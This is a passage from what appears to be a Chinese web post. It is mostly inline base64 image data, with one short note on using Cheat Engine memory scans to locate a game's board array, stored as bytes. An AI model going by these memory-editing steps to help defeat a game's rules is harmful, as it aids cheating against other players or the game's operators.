R6fX2VwPslgSzrEvjjx4/Hx0cJtFi65duXr4+Pjz9+/JDA+yWBrHL+IPjty1eLxdItLy8v+nfXJJBlXf/e3t5eXl4eHx9Pp9PxeDwcDjv/AlW4U4fD4Xg8nk6nx8fHl5eXt7c3IbxTEsgqXQW7r0NfX1+fn5+fnp7+CyE9PT09Pz+/vr5234Lq3/2SQNZ6f38/h7DzBiH1fxd0vy+u/buTQhLINu9Az7V/R7KLBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQlAQCEJQEAhCUBAIQVD9vv/zyyyB44z2tBAJQh0Hw+s0bbEogAFUZJ7DLXn9dAgGo0Pibzz7/LhCAao0jl+mfBAJQj8nOzfVPAgGox1zqJBCAykkgAEFJIABBSSAAQUkgAKz1jwRaLBaLxRJn+TuB/wKAYP5OIABEkx4eHq79ZSwAXMHfCbx2iQHgs0kgAEFJIABB5RKYUpo9bP6lixtfK/WUnQGARemfMsMW95Sd+aPdXwLzmytfAmClNT3bf0jZmJ1mE9hde+4OJBAgCAn8/87+59b+q+f1wQfb88jB4PV7ViZwPH58n+vvbepnBRDRZOHGD9vx03U8MnPOwVGnfz7DMyfc89CeTuBc2wY7J4eNx4zf1eJ5MmfOJHDuJJmrzI1RQYBO5nmYf4bnn+STMZs8baaXOx/auxI4vonTik+KmT9QZI5a3CxLYP48AOQf2qf5p+v42Z45Z//MgzGZxGROteqtzSUwf5k1rd6UwMyeT07g5P0AhJV5CC8mcOU5+/szCbz4Q3sigXNBWnPtrQncGqfM5kUS6LMgwMBFErjmU+Dih6uLP7Q3JPA09Ql0PH4wZu6z4/gkc3sm72fl+PHPaPKPGOMxJwBOp9O6L0Lnnq5rHuOTR/VX8o/6PQ/tev7vMLoFwCYSCEBQ9SQQADZJDw8P1/5rewHgCtIDAISU/gSAkP4HvsnfdE25ABEAAAAASUVORK5CYII=" alt> 预测棋盘应该是一个数组，就用棋盘最左上角的那个位置做参照，预测有东西应该是非0，没有应该大于0。<br>利用CE不断搜索，没搜一次再点练习更新一次棋盘 经过试验value type是byte哦 <img src="data:image/png;base64,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